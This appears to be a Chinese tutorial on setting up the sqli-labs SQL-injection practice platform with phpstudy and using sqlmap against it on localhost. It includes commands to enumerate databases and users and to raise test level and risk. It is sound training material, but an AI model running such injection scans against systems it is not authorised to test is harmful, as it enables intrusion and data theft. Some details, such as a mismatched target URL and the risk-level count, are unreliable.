一个实验平台,里面有完整的SQL注入课程,需要phpstudy环境,因此先安装phpstudy环境
phpstudy:
https://www.xp.cn/
安装后发现数据库和我本机的数据库出现冲突了,只能使用
sc delete mysql
删掉我本机的mysql8服务,如果需要使用原来的mysql,管理员命令下输入
mysqld --install
删除之后成功启动
启动成功后,去下载sqli-labs:
https://github.com/Audi-1/sqli-labs
下载后的包导入到php的根目录WWW下,然后将D:softwaresphpstudy_proWWWsqlisql-connections目录下的db-creds.inc文件里面的用户名和密码都设置为root
启动成功后访问
http://127.0.0.1/sqli/
然后点击reset Database for labs重置数据库
如果重置数据库出现mysql_connect(): The mysql extension is deprecated and will be removed in the future
进入phpstudy,选择php5.5.9版本即可
sqlmap:由于手动注入、半自动化注入效率较低,对于一些常规的、重复性的可以交由神奇sqlmap来完成
sqlmap需要python2的环境,因此,在安装一个python2环境,因为我本机已经有python3环境了,所以安装python2需要注意一点:
先下载Python2:www.python.org
下载后安装就OK了,然后配置环境变量:把安装目录加上去
然后重命名python.exe改为python2.exe
打开cmd输入:Python2
表示成功
sqlmap注入sqli-lab测试:在sqlmap目录输入:
python2 .sqlmap.py,
出现如下信息表示启动成功,可以使用
打开sqli-lab 第一章:http://127.0.0.1/sqli/Less-1/
需要传id可以查到数据库的内容;
输入地址http://127.0.0.1/sqli/Less-1/?id=4
可以发现对应数据库数据一致,接下来我们对数据库进行SQL注入测试:
sqlmap命令行输入
python2 sqlmap.py -u "http://127.0.0.1:8080/thymeleaf/listCategory?start=2"
出现:已经检测到是mysql数据库,是否跳过检测其他类型数据库,输入y
出现:GET 参数 ‘id’ 易受攻击,我们选择Y,sqlmap就已经判断该链接的数据库以及其他服务版本是具有SQL注入威胁存在的
常用的命令:
例如:输入
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --dbs直接列出了我的所有数据库
例如输入
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --current-user直接列出了当前的用户风险等级评测:
探测等级(执行测试的等级(1-5,默认为1) )
参数: --level
共有五个等级,默认为1 ,lv2:cookie; lv3:user-agent,refere; lv5:host 我常使用–level 3
风险等级(执行测试的风险(0-3,默认为1) )
参数: -risk
共有四个风险等级,risk 2:基于事件的测试;risk 3:or语句的测试;risk 4:update的测试
升高风险等级会增加数据被篡改的风险。 常用就是默认1
例如:输入:
python2 sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=2" --level=5 --risk=3



